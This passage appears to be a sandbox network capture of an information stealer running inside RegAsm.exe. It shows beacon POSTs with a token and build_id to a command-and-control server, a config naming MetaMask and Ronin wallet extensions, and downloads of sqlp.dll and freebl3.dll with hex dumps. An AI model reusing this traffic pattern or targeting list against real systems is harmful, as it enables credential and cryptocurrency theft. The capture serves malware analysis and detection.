2024-09-21 11:34:51 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49768	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:55 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJKEBKFCAAECAAAAAE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 8061 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:34:55 UTC	8061	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------KKKJKEBKFCAAECAAAAAECont
2024-09-21 11:34:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:34:56 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49769	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:56 UTC	196	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:34:57 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:34:56 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Saturday, 21-Sep-2024 11:34:56 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-21 11:34:57 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-21 11:34:57 UTC	16384	IN	Data Raw: b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-21 11:34:57 UTC	16384	IN	Data Raw: 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
2024-09-21 11:34:57 UTC	16384	IN	Data Raw: f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-21 11:34:57 UTC	16384	IN	Data Raw: 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-21 11:34:57 UTC	16384	IN	Data Raw: 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-21 11:34:57 UTC	16384	IN	Data Raw: 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-21 11:34:57 UTC	16384	IN	Data Raw: ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-21 11:34:57 UTC	16384	IN	Data Raw: 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-21 11:34:57 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49772	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:00 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:00 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 Data Ascii: ------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------FHCAEGCBFHJDGCBFHDAFCont
2024-09-21 11:35:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49773	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:01 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:01 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------JKKEHJDHJKFIECAAKFIJCont
2024-09-21 11:35:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:02 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49774	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:04 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIEGHJEGIDGCAFBFC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:04 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------EGDGIEGHJEGIDGCAFBFCCont
2024-09-21 11:35:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49775	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:06 UTC	199	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:06 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:06 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Saturday, 21-Sep-2024 11:35:06 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-21 11:35:06 UTC	16122	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-09-21 11:35:06 UTC	16384	IN	Data Raw: ff ff ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-09-21 11:35:06 UTC	16384	IN	Data Raw: c1 c2 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 